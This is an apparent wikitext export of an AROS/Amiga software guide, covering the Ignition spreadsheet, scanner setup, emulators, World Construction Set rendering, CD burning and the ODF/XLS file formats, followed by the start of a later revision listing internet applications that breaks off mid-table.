To add some echoes to some vocals, tried to add an effect on a track but did not come out. This is made more complicated as I wanted to mute a vocal but then make it echo at the muting point. Want to have one word of a vocal heard and then echoed off. But when the track is mute the echo is cancelled out.

To correctly understand what is happening here you need to study the figure at the bottom of page 15 on the manual. You will see from that that the effects are applied 'prefade' So the automation you applied will naturally mute the entire signal.

There would be a number of ways to achieve the goal,

You have three real time effects slots, one for smoothing like so

Sample -&gt; Amplify -&gt; Delay

Then automate the gain of the amplify block so that it effectively mutes the sample just before the delay at the appropriate moment, the echo effect should then be heard.

Getting the effects in the right order will require experimentation as they can only be added top down and it's not obvious which order they are applied to the signal, but there only two possibilities, so it wont take long to find out.

Using MUTE can cause clicks to the Amplify can be used to mute more smoothly so that's a secondary advantage.

Signal Processing -


Overdub

[[#top|...to the top]]

===Office===

====Spreadsheet Leu====

Support for some xlsx, and ods functions 


====Spreadsheet Ignition====

; Needs ABIv1 to be completed before more can be done

File formats supported 
* ascii #?.txt and #?.csv (single sheets with data only). 
* igs and TurboCalc(WIP) #?.tc for all sheets with data, formats and formulas.

There is '''no''' support for xls, xlsx, ods or uos ([http://en.wikipedia.org/wiki/Uniform_Office_Format Uniform Unified Office Format]) at the moment.

* Always use Esc key after editing Spreadsheet cells.
* copy/paste seems to copy the first instance only so go to Edit -&gt; Clipboard to manage the list of remembered actions. 
* Right mouse click on row (1 or 2 or 3) or column header (a or b or c)  to access optimal height or width of the row or column respectively 
* Edit -&gt; Insert -&gt; Row  seems to clear the spreadsheet or clears the rows after the inserted row until undo restores as it should be...

Change Sheet name by  Object -&gt; Sheet -&gt; Properties

Click in the cell which will contain the result, and click '''down arrow button''' to the right of the formula box at the bottom of the spreadsheet and choose the function required from the list provided. Then click on the start cell and click on the bottom right corner, a '''very''' small blob, which allows stretching a bounding box (thick grey outlines) across many cells This grey bounding box can be used to '''copy a formula''' to other cells.

Object -&gt; Cell -&gt; Properties to change cell format - Currency only covers DM and not $, Euro, Renminbi, Yen or Pound etc. 
Shift key and arrow keys selects a range of cells, so that '''formatting can be done to all highlighted cells'''. 
View -&gt; Overview then select ALL with one click (in empty cell in the top left hand corner of the sheet).

Default mode is relative cell referencing e.g. a1+a2 but absolute e.g. $a$1+$a$2 can be entered.

* #sheet-name to '''absolute''' reference another sheet-name cell unless reference() function used.

;Graphs

use shift key and arrow keys to select a bunch of cells to be graph'ed making sure that x axes represents and y axes represents

* value() - 0 value, 1 percent, 2 date, 3 time, 4 unit ...


;Dates 
* Excel starts a running count from the 1st Jan 1900 and Ignition starts from 1st Jan 1AD '''(maybe this needs to change)'''
Set formatting Object -&gt; Cell -&gt; Properties and put date in days


;Time 
Set formatting Object -&gt; Cell -&gt; Properties and put time in seconds taken


;Database (to be done by someone else)

type - standard, reference (bezug), search criterion (suchkriterium), 
* select a bunch of cells and Object -&gt; Database -&gt; Define to set Datenbank (database) and Felder (fields not sure how?) 
* Neu (new) or loschen (delete) to add/remove database headings e.g. Personal, Start Date, Finish Date (one per row?)
* Object -&gt; Database -&gt; Index to add fields (felder) like Surname, First Name, Employee ID, etc. to ?

Filtering done with dbfilter(), dbproduct() and dbposition().

Activities with dbsum(), dbaverage(), dbmin() and dbmax().

Table sorting -


;Scripts (Arexx)

;Excel(TM) to Ignition - commas ''',''' replaced by semi-colons ''';''' to separate values within functions 
*SUM(), 
*AVERAGE(), MAX(), MIN(), INT(), PRODUCT(), MEDIAN(), VAR() becomes Variance(), Percentile(),
*IF(), AND, OR, NOT 
*LEFT(), RIGHT(), MID() becomes MIDDLE(), LEN() becomes LENGTH(), 
*LOWER() becomes LOWERCASE(), UPPER() becomes UPPERCASE(),
* DATE(yyyy,mm,dd) becomes COMPUTEDATE(dd;mm;yyyy), 
*TODAY(), DAY(),WEEK(), MONTH(),=YEAR(TODAY()), 
*EOMONTH() becomes MONTHLENGTH(), 
*NOW() should be date and time becomes time only, SECOND(), MINUTE(), HOUR(),
*DBSUM() becomes DSUM(),


;Missing and possibly useful features/functions needed for ignition to have better support of Excel files 
There is no Merge and Join Text over many cells, no protect and/or freeze row or columns or books but can LOCK sheets, no define bunch of cells as a name, Macros (Arexx?), conditional formatting, no Solver, no Goal Seek, no Format Painter, no AutoFill, no AutoSum function button, no pivot tables, (30 argument limit applies to Excel)

*HLOOKUP(), VLOOKUP(), [http://production-scheduling.com/excel-index-function-most-useful/ INDEX(), MATCH()], CHOOSE(), TEXT(), 
*TRIM(), FIND(), SUBSTITUTE(), CONCATENATE() or &amp;, PROPER(), REPT(), 
*[https://acingexcel.com/excel-sumproduct-function/ SUMPRODUCT()], ROUND(), ROUNDUP(), *ROUNDDOWN(), COUNT(), COUNTA(), SUMIF(), COUNTIF(), COUNTBLANK(), TRUNC(), 
*PMT(), PV(), FV(), POWER(), SQRT(), MODE(), TRUE, FALSE, 
*MODE(), LARGE(), SMALL(), RANK(), STDEV(), 
*DCOUNT(), DCOUNTA(), WEEKDAY(),


;Excel Keyboard [http://dmcritchie.mvps.org/excel/shortx2k.htm shortcuts needed to aid usability in Ignition] 
&lt;pre&gt;
Ctrl Z - Undo

Ctrl D - Fill Down
Ctrl R - Fill right

Ctrl F - Find
Ctrl H - Replace

Ctrl 1 - Formatting of Cells
CTRL SHIFT ~ Apply General Formatting ie a number 
Ctrl ; - Todays Date 

F2 - Edit cell
F4 - toggle cell absolute / relative cell references

&lt;/pre&gt;


====Document Scanning - Scandal====

Scanner usually needs to be connected via a USB port and not via a hub or extension lead.

Check in Trident Prefs -&gt; Devices that the USB Scanner is not bound to anything (e.g. Bindings None)
If not found then reboot the computer and recheck.

Start Scandal, choose Settings from Menu strip at top of screen and in Scanner Driver choose the ?#.device of the scanner (e.g. epson2.device).

The next two boxes - leave empty as they are for morphos SCSI use only
 or put ata.device (use the selection option in bigger box below) and Unit as 0 this is needed for gt68xx

* gt68xx - no editing needed in s/gt68xx.conf but needs a firmware file that corresponds to the scanner [http://www.meier-geinitz.de/sane/gt68xx-backend/ gt68xx firmwares] in sys:s/gt68xx.
* epson2 - Need to edit the file epson2.conf in sys/s that corresponds to the scanner being used

'''Save''' the settings but do not press the Use button (aros freezes)

Back to the Picture Scan window and the right-hand sections.

Click on the '''Information''' tab and press Connect button and the scanner should now be detected.

Go next to the '''Scanner''' tab next to Information Tab should have Color, Black and White, etc. and dpi settings now. Selecting an option Color, B/W etc. can cause dpi settings corruption (especially if the settings are in one line) so set '''dpi first'''. Make sure if Preview is set or not.

In the '''Scan''' Tab, press Scan and the scanner will do its duty. 
Be aware that nothing is saved to disk yet.

In the Save tab, change format JPEG, PNG or IFF DEEP. Tick incremental and base filename if necessary and then click the Save button. The image will now be saved to permanent storage.


The driver ignores a device if it is already bond to another USB class, rejects it from being usable. However, open Trident prefs, select your device and use the right mouse button to open. Select &quot;NONE&quot; to prevent poseidon from touching the device. Now save settings. It should always work now.

[[#top|...to the top]]

===Emulators===

==== Amiberry ====


==== Amiga Emu - Janus UAE ====

With Amibridge, AROS attempts to make the UAE emulator seem embedded within but it still is acting as an app 

There is no dynarec m68k for each hardware that Aros supports or direct patching of motorola calls to AROS hardware accelerated ones unless the emulator has that included 

Try starting Janus with a priority of -1 like this little script:
&lt;pre&gt;
cd sys:system/AmiBridge/emulator
changetaskpri -1
run janus-uae -f my_uaerc.config &gt;nil:
cd sys:prefs
endcli
&lt;/pre&gt;
This stops Janus hogging all the CPU time.


===Miscellaneous===

====Screensaver Blanker====

Most blankers on the amiga (i.e. aros) run as commodities (they are in the tools/commodities drawer). Double click on blanker.

Control is with an app called Exchange, which you need to run first (double click on app) or  run QUIET sys:tools/commodities/Exchange &gt;NIL: but subsequently can use (Cntrl Alt h).

Icon tool types (may be broken) or command line options 
&lt;pre&gt;
seconds=number 
&lt;/pre&gt;

Once the timing is right then add the following to s:icaros-sequence or s:user-startup

e.g. for 5 minutes

 run QUIET sys:tools/commodities/Blanker seconds=300 &gt;NIL:


*[http://archives.aros-exec.org/index.php?function=showfile&amp;file=graphics/screenblanker/gblanker.i386-aros.zip Garshneblanker] can make Aros unstable or slow. Certain blankers crashes in Icaros 2.0.x like Dragon, Executor.


*[ Acuario AROS version], the aquarium screen saver.

Startup: extras:acuariofv-aros/acuario

Kill: c:break name=extras:acuariofv-aros/acuario

Managed to start Acuario by the Executor blanker.

&lt;pre&gt;
cx_priority=
cx_popkey=    ie CX_POPKEY=&quot;Shift F1&quot; 
cx_popup=Yes or No

&lt;/pre&gt;


&lt;pre&gt;
 Qualifier String    Input Event Class
   ----------------    -----------------
    &quot;lshift&quot;           IEQUALIFIER_LSHIFT
    &quot;rshift&quot;           IEQUALIFIER_RSHIFT
    &quot;capslock&quot;         IEQUALIFIER_CAPSLOCK
    &quot;control&quot;          IEQUALIFIER_CONTROL
    &quot;lalt&quot;             IEQUALIFIER_LALT
    &quot;ralt&quot;             IEQUALIFIER_RALT
    &quot;lcommand&quot;         IEQUALIFIER_LCOMMAND
    &quot;rcommand&quot;         IEQUALIFIER_RCOMMAND
    &quot;numericpad&quot;       IEQUALIFIER_NUMERICPAD
    &quot;repeat&quot;           IEQUALIFIER_REPEAT
    &quot;midbutton&quot;        IEQUALIFIER_MIDBUTTON
    &quot;rbutton&quot;          IEQUALIFIER_RBUTTON
    &quot;leftbutton&quot;       IEQUALIFIER_LEFTBUTTON
    &quot;relativemouse&quot;    IEQUALIFIER_RELATIVEMOUSE
&lt;/pre&gt;


&lt;pre&gt;
    Synonym     Synonym
    String     Identifier
    -------    ----------
    &quot;shift&quot;    IXSYM_SHIFT    /* look for either shift key */
    &quot;caps&quot;     IXSYM_CAPS     /* look for either shift key or capslock */
    &quot;alt&quot;      IXSYM_ALT      /* look for either alt key */

Highmap is one of the following strings:
    &quot;space&quot;, &quot;backspace&quot;, &quot;tab&quot;, &quot;enter&quot;, &quot;return&quot;, &quot;esc&quot;, &quot;del&quot;,
    &quot;up&quot;, &quot;down&quot;, &quot;right&quot;, &quot;left&quot;, &quot;f1&quot;, &quot;f2&quot;, &quot;f3&quot;, &quot;f4&quot;, &quot;f5&quot;,
    &quot;f6&quot;, &quot;f7&quot;, &quot;f8&quot;, &quot;f9&quot;, &quot;f10&quot;, &quot;help&quot;.


&lt;/pre&gt;


[[#top|...to the top]]

==== World Construction Set WCS (Version 2.031) ====

WCS is a fractal landscape software such as Scenery Animator, Vista Pro and Panorama. Open sourced February 2022, World Construction Set [https://3dnature.com/downloads/legacy-software/ legally and for free] and [https://github.com/AlphaPixel/3DNature c source]. 

Announced August 1994 this version dates from April 1996 developed by Gary R. Huber and Chris &quot;Xenon&quot; Hanson&quot; from Questar 

&lt;pre&gt;
Assign &quot;WCSProjects:&quot; &quot;Volume:Dir/Dir/WCSProjects&quot; 
Assign &quot;WCSFrames:&quot;   &quot;Volume:Dir/Dir/WCSFrames&quot; 
&lt;/pre&gt;

&lt;pre&gt;
Load projects .proj by accessing pull down menu Project -&gt; Open then click on CanyonSunset.proj
OK to changing .par file and enlarge Status Log window to show what is happening 
Render by pull down menu Modules -&gt; Render with End equal 1 not 300 then click bottom middle button Render 
&lt;/pre&gt;

[https://www.youtube.com/watch?v=CxQDmf1ZWG0 Youtube walkthrough of above], [], [], 

Also try working with the already built file ColoDemo - Then open with the drop-down menu: Project/Open, then WCSProject:ColoDemo.proj
Which allows you to use altimetric DEM files already included and Loading scene parameters from ColoDemo.par
Once this is done, save everything with a new name to start working exclusively on your project. 
Then drop-down menu and select Save As (&quot;NewName&quot;.proj name), then drop-down menu to open parameter and select Save All ( .par name)


After launching the software, there is a the Module Control Panel composed of five icons. 
It is a dock type shortcut of the first few functions of the drop-down menu 

*Database   - Load (#?.proj), Append, Create, Edit, Save, Dir List (of WCSProject drawer), 
*Data Ops   - Extract / Convert Interp DEM, Import DLG, DXF, WDB and export LW map 3d formats  
*Map View   - Database file Loader leading to Map View Control with option to the Database Editor 
*Parameters - Editor for Motion, Color, Ecosystem, Clouds, Waves, management of altimeter files DEM, sclock settings etc 
*Render     - rendering terrain 

These are more in the pull down menu but not in the dock 
*Motion Editor
*Color Editor
*Ecosys Editor 


Simple minimal workflow 
*Load database (1st icon - 1st)
*Set parameters and save .par file (4th icon)
*Render scene (5th icon) 

[https://www.youtube.com/watch?v=ZbTwwR2qcc4 Youtube], [], 

&lt;pre&gt;
.proj new project name which creates a drawer of additional files 

.binary array, ascii array .xyz , z buffer, DTED .dt0, vista 1990s dem, iff  conversion 
.Obj with .elev, .frd with .hdr maps, - digital elevation model (DEM) is a 3D representation of elevation data in various formats 
USGS 7.5MinDEM, 

.par 


&lt;/pre&gt;


Since for the time being no project is loaded, a query window indicates a procedural error when clicking on the rendering icon (right end of the bar). The menu is quite traditional; it varies according to the activity of the windows. To display any altimetric file in the &quot;Mapview&quot; (third icon of the panel), There are three possibilities:

* Loading of a demonstration project.
* The import of a DEM file, followed by texturing and packaging from the &quot;Database-Editor&quot; and the &quot;Color-Editor&quot;.
* The creation of an altimetric file in WCS format, then texturing.


The altimeter file editing (display in the menu) is only made possible if the &quot;Mapview&quot; window is active.

The software is made up of many windows and won't be able to describe them all. Know that &quot;Color-Editor&quot; and the &quot;Data-Editor&quot; comprise sufficient functions for obtaining an almost real rendering quality. You have the possibility of inserting vector objects in the &quot;Data-Editor&quot; (creation of roads, railways, etc.) 


The Map View (MapView) window

*Database - Objects and Topos
*View     - Align, Center, Zoom, Pan, Move 
*Draw     - Maps and distance 
*Object   - Find, highlight, add points, conform topo, duplicate 
*Motion   - Camera, Focus, path, elevation 
*Windows  - DEM designer, Cloud (.cld) and wave (.wve) editor, 


You will notice that by selecting this window and simply moving the pointer to various points on the map you will see latitude and longitude values ​​change, along with the height.
Drop-down menu and Modules, then select MapView and change the width of the window with the map to arrange it in the best way on the screen. With the Auto button the center. Window that then displays the contents of my DEM file, in this case the Grand Canyon. MapView allows you to observe the shape of the landscape from above
 

ZOOM button

Press the Zoom button and then with the pointer position on a point on the map, press the left mouse button and then move to the opposite corner to circumscribe the chosen area and press the left mouse button again, then we will see the enlarged area selected on the map.
Would add that there is a box next to the Zoom button that allows the direct insertion of a value which, the larger it is, the smaller the magnification and the smaller the value, the stronger the magnification. At each numerical change you will need to press the DRAW button to update the view.

PAN button

Under Zoom you will find the PAN button which allows you to move the map at will in all directions by the amount you want. This is done by drawing a line in one direction, then press PAN and point to an area on the map with the pointer and press the left mouse button. At this point, leave it and move the pointer in one direction by drawing a line and press the left mouse button again to trigger the movement of the map on the screen (origin and end points). Do some experiments and then use the Auto button immediately below to recenter everything.
There are parameters such as TOPO, VEC to be left checked and immediately below one that allows different views of the map with the Style command (Single, Multi, Surface, Emboss, Slope, Contour), each with its own particularities to highlight different details.

Now you have the first basics to manage your project visually on the map. Close the MapView window and go further...


Let's start working on ECOSYSTEMS
If we select Emboss from the MapView Style command we will have a clear idea of ​​how the landscape appears, realizing that it is a predominantly desert region of our planet. Therefore we will begin to act on any vegetation present and the appearance of the landscape.
With WCS we will begin to break down the elements of the landscape by assigning defined characteristics. It will be necessary to determine the classes of the ecosystem (Class) with parameters of Elevation Line (maximum altitude), Relative Elevation (arrangement on basins or convexities with respectively positive or negative parameters), Min Slope and Max Slope (slope). WCS offers the possibility of making ecosystems coexist on the same terrain with the UnderEco function, by setting a Density value.


Ecosys Ecosystem Editor

Let's open it from Modules, then Ecosys Editor. In the left pane you will find the list of ecosystems referring to the files present in our project. It will be necessary to clean up that box to leave only the Water and Snow landscapes and a few other predefined ones. We can do this by selecting the items and pressing the Remove button (be careful not for all elements the button is activated, therefore they cannot all be eliminated).
Once this is done we can start adding new ecosystems. Scroll through the various Unused and as soon as the Name item at the top is activated allowing you to write, type the name of your ecosystem, adding the necessary parameters.
&lt;pre&gt;
Ecosystem1: Name: RockBase Class: Rock Density: 80 MinSlope: 15 UnderEco: Terrain
Ecosystem2: Name: RockIncl Clss: Rock Density: 80 MinSlope: 30 UnderEco: Terrain
Ecosystem3: Name: Grass Class Low Veg Density: 50 Height: 1 Elev Line : 1500 Rel El Eff: 5
Max Slope: 10 – Min Slope: 0 UnderEco: Terrain
Ecosistema4: Name: Shrubs Class: Low Veg Density: 40 Height: 8 Elev Line: 3000
Rel El Eff: -2 Max Slope: 20 Min Slope : 5 UnderEco: Terrain
Ecosistema5: Name: Terrain Class: Ground Density: 100 UnderEco: Terrain
&lt;/pre&gt;

Now we need to identify an intermediate ecosystem that guarantees a smooth transition between all, therefore we select as Understory Ecosystem the one called Terrain in all ecosystems, except Snow and Water .
Now we need to 'emerge' the Colorado River in the Canyon and we can do this by raising the sea level to 900 (Sea Level) in the Ecosystem called Water.
Please note that the order of the ecosystem list gives priority to those that come after. So our list must have the following order: Water, Snow, Shrubs, RockIncl, RockBase, Terrain. It is possible to carry out all movements with the Swap button at the bottom. To put order you can also press Short List. Press Keep to confirm all the work done so far with Ecosystem Editor.
Remember every now and then to save both the Project 'Modules/Save' and 'Parameter/Save All'

EcoModels are made up of .etp .fgp .iff8 for each model 


Color Editor

Now it's time to define the colors of our scene and we can do this by going to Modules and then Color Editor. In the list we focus on our ecosystems, created first.
Let's go to the bottom of the list and select the first white space, assigning the name 'empty1', with a color we like and then we will find this element again in other environments... It could serve as an example for other situations!
So we move to 'grass' which already exists and assign the following colors: R 60 G 70 B50
&lt;pre&gt;
'shrubs': R 60 G 80 B 30
'RockIncl' R 110 G 65 B 60
'RockBase' R 110 G 80 B 80
' Terrain' R 150 G 30 B 30
&lt;pre&gt;
Now we can work on pre-existing colors
&lt;pre&gt;
'SunLight' R 150 G 130 B 130
'Haze and Fog' R 190 G 170 B 170
'Horizon' R 209 G 185 B 190
'Zenith' R 140 G 150 B 200
'Water' R 90 G 125 B 170
&lt;/pre&gt;

Ambient R 0 G 0 B 0

So don't forget to close Color Editor by pressing Keep.
Go once again to Ecosystem Editor and assign the corresponding color to each environment by selecting it using the Ecosystem Color button. Press it several times until the correct one appears. Then save the project and parameters again, as done previously.


Motion Editor

Now it's time to take care of the framing, so let's go to Modules and then to Motion Editor. An extremely feature-rich window will open. Following is the list of parameters regarding the Camera, position and other characteristics:
&lt;pre&gt;
-Camera Altitude: 7.0
-Camera Latitude: 36.075
-Camera Longitude: 112.133
-Focus Attitude: -2.0
-Focus Latitude: 36.275
-Focus Longitude: 112.386
-Camera : 512 → rendering window
-Camera Y: 384 → rendering window
-View Arc: 80 → View width in degrees
-Sun Longitude: 172
-Sun Latitude: -0.9
-Haze Start: 3.8
-Haze Range: 78, 5
&lt;/pre&gt;
As soon as the values ​​shown in the relevant sliders have been modified, we will be ready to open the CamView window to observe the wireframe preview. Let's not consider all the controls that will appear.
Well from the Motion Editor if you have selected Camera Altitude and open the CamView panel, you can change the height of the camera by holding down the right mouse button and moving the mouse up and down. To update the view, press the Terrain button in the adjacent window. As soon as you are convinced of the position, confirm again with Keep. You can carry out the same work with the other functions of the camera, such as Focus Altitude...
Let's now see the next positioning step on the Camera map, but let's leave the CamView preview window open while we go to Modules to open the window at the same time MapView. We will thus be able to take advantage of the view from the other together with a subjective one.


From the MapView window, select with the left mouse button and while it is pressed, move the Camera as desired. To update the subjective preview, always click on Terrain.
While with the same procedure you can intervene on the direction of the camera lens, by selecting the cross and with the left button pressed you can choose the desired view. So with the pressure of Terrain I update the Preview. Possibly can enlarge or reduce the Map View using the Zoom button, for greater precision.
Also write that the circle around the cameras indicates the beginning of the haze, there are two types (haze and fog) linked to the altitude. Would also add that the camera height is editable through the Motion Editor panel.


The sun

Let's see that changing the position of the sun from the Motion Editor. Press the SUN button at the bottom right and set the time and the date. Longitude and latitude are automatically obtained by the program. Always open the View Arc command from the Motion Editor panel, an item present in the Parameter List box.

Once again confirm everything with Keep and then save again.


Animation

The animation part is not left-back and also occupies a window. The settings possibilities are enormous. A time line with dragging functions (&quot;slide&quot;, &quot;drag&quot;...) comparable to that of LightWave completes this window. 


A small window is available for positioning the stars as a function of a date, in order to vary the seasons and their various events (and yes...).

At the bottom of the &quot;Motion-Editor&quot;, a &quot;cam-view&quot; function will give you access to a control panel. Different preview modes are possible. The rendering is also accessible through a window. No less than nine pages compose it. At this level, you will be able to determine the backup name of your images (&quot;path&quot;), the type of texture to be calculated, the resolution of the images, activate or deactivate functions such as the depth buffer (&quot;zbuffer&quot;), the blur, the background image, etc.


Once all these parameters have been set, all you have to do is click on the &quot;Render&quot; button.

For rendering go to Modules and then Render. Select the resolution, then under IMA select the name of the image. Move to FRA and indicate the level of fractal detail which of 4 is quite good. Then Keep to confirm and then reopen the window, pressing Render you will see the result. The image will be opened with any viewing program.


Strengths:

* Multi-window.
* Quality of rendering.
* Accuracy.
* Opening, preview and rendering on CyberGraphX screen.
* Extract / Convert Interp DEM, Import DLG, DXF, WDB and export LW map 3d formats 
* The &quot;zbuffer&quot; function.

Weaknesses:

* No OpenGL management 
* Calculation time.
* No network computing tool.


====Writing CD / DVD - Frying Pan====

Can be backup DVDs (4GB ISO size limit due to use of FileInfoBlock), create audio cds from mp3's, and put .iso files on discs

If using for the first time - click Drive button and Device set to ata.device and unit to 0 (zero)

Click Tracks Button - Drive 1 - Create New Disc or Import Existing Disc Image (iso bin/cue etc.) - Session File open cue file

If you're making a data cd, with files and drawers from your hard drive, you should be using the ISO Builder.. which is the MUI page on the left. (&quot;Data/Audio Tracks&quot; is on the right).

You should use the &quot;Data/Audio tracks&quot; page if you want to create music cds with AIFF/WAV/MP3 files, or if you download an .iso file, and you want to put it on a cd.

Click WRITE Button - set write speed - click on long Write button

Examples

Easiest way would be to burn a DATA CD, simply go to &quot;Tracks&quot; page &quot;ISO Builder&quot; and &quot;ADD&quot; everything you need to burn.

On the &quot;Write&quot; page i have &quot;Masterize Disc (DAO)&quot;, &quot;Close Disc&quot; and &quot;Eject after Write&quot; set.

One must not &quot;Blank disc before write&quot; if one uses a CDR


AUDIO CD from MP3's are as easy but tricky to deal with. FP only understands one MP3 format, Layer II, everything else will just create empty tracks

Burning bootable CD's works only with .iso files. Go to &quot;Tracks&quot; page and &quot;Data/Audio Tracks&quot; and add the .iso


====odf====

Every ODF file is a collection of several subdocuments within a package (ZIP file), each of which stores part of the complete document.

* content.xml – Document content and automatic styles used in the content.
* styles.xml – Styles used in the document content and automatic styles used in the styles themselves.
* meta.xml – Document meta information, such as the author or the time of the last save action.
* settings.xml – Application-specific settings, such as the window size or printer information.


To read document follow these steps:

* Extracting .ods file.
* Getting content.xml file (which contains sheets data).
* Creating XmlDocument object from content.xml file.
* Creating DataSet (that represent Spreadsheet file).
* With XmlDocument select “table:table” elements, and then create adequate DataTables.
* Parse child’s of “table:table” element and fill DataTables with those data.
* At the end, return DataSet and show it in application’s interface.


To write document follow these steps:

* Extracting template.ods file (.ods file that we use as template).
* Getting content.xml file.
* Creating XmlDocument object from content.xml file.
* Erasing all “table:table” elements from the content.xml file.
* Reading data from our DataSet and composing adequate “table:table” elements.
* Adding “table:table” elements to content.xml file.
* Zipping that file as new .ods file.

XLS file format

The XLS file format contains streams, substreams, and records.

These sheet substreams include worksheets, macro sheets, chart sheets, dialog sheets, and VBA module sheets. 
All the records in an XLS document start with a 2-byte unsigned integer to specify Record Type (rt), and another for Count of Bytes (cb). A record cannot exceed 8224 bytes. If larger than the rest is stored in one or more continue records.

* Workbook stream 
**Globals substream
***BoundSheet8 record - info for Worksheet substream i.e. name, location, type, and visibility. (4bytes the lbPlyPos FilePointer, specifies the position in the Workbook stream where the sheet substream starts) 
**Worksheet substream (sheet) - Cell Table - Row record - Cells (2byte=row 2byte=column 2byte=XF format)
***Blank cell record
***RK cell record 32-bit number. 
***BoolErr cell record (2-byte Bes structure that may be either a Boolean value or an error code)
***Number cell record (64-bit floating-point number)
***LabelSst cell record (4-byte integer that specifies a string in the Shared Strings Table (SST). Specifically, the integer corresponds to the array index in the RGB field of the SST)
***Formula cell record (FormulaValue structure in the 8 bytes that follow the cell structure. The next 6 bytes can be ignored, and the rest of the record is a CellParsedFormula structure that contains the formula itself)
***MulBlank record (first 2 bytes give the row, and the next 2 bytes give the column that the series of blanks starts at. Next, a variable length array of cell structures follows to store formatting information, and the last 2 bytes show what column the series of blanks ends on)
***MulRK record 
***Shared String Table (SST) contains all of the string values in the workbook.

ACCRINT(), ACCRINTM(), AMORDEGRC(), AMORLINC(), 
COUPDAYBS(), COUPDAYS(), COUPDAYSNC(), COUPNCD(), COUPNUM(), COUPPCD(), 
CUMIPMT(), CUMPRINC(), 
DB(), DDB(), DISC(), 
DOLLARDE(), DOLLARFR(), 
DURATION(), EFFECT(), FV(), FVSCHEDULE(), 
INTRATE(), IPMT(), IRR(), ISPMT(), MDURATION(), MIRR(), NOMINAL(), NPER(), NPV(), 
ODDFPRICE(), ODDFYIELD(), ODDLPRICE(), ODDLYIELD(), 
PMT(), PPMT(), PRICE(), PRICEDISC(), PRICEMAT(), PV(), RATE(), 
RECEIVED(), SLN(), SYD(), TBILLEQ(), TBILLPRICE(), TBILLYIELD(), 
VDB(), XIRR(), XNPV(), YIELD(), YIELDDISC(), YIELDMAT(),


&lt;pre&gt;
&lt;/pre&gt;


&lt;pre&gt;
&lt;/pre&gt;

&lt;pre&gt;
&lt;/pre&gt;

{{BookCat}}</text>
      <sha1>ghbasycqpji0yojeg2ayxwpngfiowp4</sha1>
    </revision>
    <revision>
      <id>4670622</id>
      <parentid>4670621</parentid>
      <timestamp>2026-09-17T11:41:07Z</timestamp>
      <contributor>
        <username>Jeff1138</username>
        <id>301139</id>
      </contributor>
      <minor />
      <origin>4670622</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="241442" sha1="2oe9a08gj9859p5x2citccvfzkj2m3p" xml:space="preserve">
==Introduction==


[[#Graphical Image Editing Art]]
[[#Office Application]]
[[#Audio]]

[[#Misc Application]]
[[#Games &amp; Emulation]]

[[#Application Guides]]

[[#top|...to the top]]


[[#top|...to the top]]

Most apps can be opened on the Workbench (aka publicscreen pubscreen) which is the default display option but can offer a custom one set to your configurations (aka custom screen mode promotion). These custom ones tend to stack so the possible use of A-M/A-N method of switching between full screens and the ability to pull down screens as well 

If you are interested in creating or porting new software, see [http://en.wikibooks.org/wiki/Aros/Developer/Docs here]

{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Internet Applications 
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1 (68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Web Online Browser [], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=network/browser Amelinium], Odyssey 2.0, [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1175&amp;highlight=odyssey&amp;rowstart=100 Odyssey 3.0], [], 
|&lt;!--Amiga OS--&gt;[https://juen.in/ Amelinium], [https://blog.alb42.de/programs/amifox/ amifox] with [https://github.com/alb42/wrp wrp server], IBrowse*, [https://github.com/zapek/Voyager Voyager], [https://github.com/amigazen/aweb3/ AWeb 3.6 src], [https://github.com/matjam/aweb AWeb Src], [http://aminet.net/package/comm/www/NetSurf-m68k-sources Netsurf], [], 
|&lt;!--AmigaOS4--&gt;[ Odyssey OWB], [ Timberwolf (Firefox port 2011)], [http://amigaworld.net/modules/newbb/viewtopic.php?forum=32&amp;topic_id=32847 OWB-mui], [http://strohmayer.org/owb/ OWB-Reaction], IBrowse*, [http://os4depot.net/index.php?function=showfile&amp;file=network/browser/aweb.lha AWeb], Voyager, [http://www.os4depot.net/index.php?function=browse&amp;cat=network/browser Netsurf], 
|&lt;!--MorphOS--&gt;Wayfarer, [http://fabportnawak.free.fr/owb/ Odyssey OWB], [ Netsurf], IBrowse*, AWeb, [], 
|-
|&lt;!--Sub Menu--&gt;YouTube, Dailymotion website downloading videos audio [https://github.com/yt-dlp/yt-dlp yt-dlp], [https://clipgrab.org/ clipgrab],  
|&lt;!--AROS--&gt;[], [https://blog.alb42.de/amitube/ Amitube], 
|&lt;!--Amiga OS--&gt;[https://blog.alb42.de/amitube/ Amitube], [ smtube], 
|&lt;!--AmigaOS4--&gt;[https://blog.alb42.de/amitube/ Amitube], getVideo, Tubexx, [https://github.com/walkero-gr/aiostreams aiostreams], 
|&lt;!--MorphOS--&gt;[ ytsearch], [https://blog.alb42.de/amitube/ Amitube], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 getVideo], Tubexx 
|-
|&lt;!--Sub Menu--&gt;Old style E-mailing SMTP POP3 IMAP based 
|&lt;!--AROS--&gt;Emailinium, [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/email SimpleMail], [http://sourceforge.net/projects/simplemail/files/ src], [https://github.com/jens-maus/yam YAM] 
|&lt;!--Amiga OS--&gt;Emailinium, [http://sourceforge.net/projects/simplemail/files/ SimpleMail], [https://github.com/jens-maus/yam YAM]
|&lt;!--AmigaOS4--&gt;SimpleMail, YAM, 
|&lt;!--MorphOS--&gt; SimpleMail, YAM
|-
|&lt;!--Sub Menu--&gt;IRC, ICB, 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/chat WookieChat], [https://sourceforge.net/projects/wookiechat/ Wookiechat src], [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/chat AiRcOS], Jabberwocky, 
|&lt;!--Amiga OS--&gt;[https://github.com/charabaruk/WookieChat Wookiechat], AmIRC 
|&lt;!--AmigaOS4--&gt;Wookiechat 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=5 Wookiechat], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 AmIRC], 
|-
|&lt;!--Sub Menu--&gt;Instant Messaging IM like [https://github.com/BlitterStudio/amidon Hollywood lang based Mastodon client], BlueSky AT protocol, Facebook(TM), Twitter X (TM), Bitlbee IRC Gateway and others 
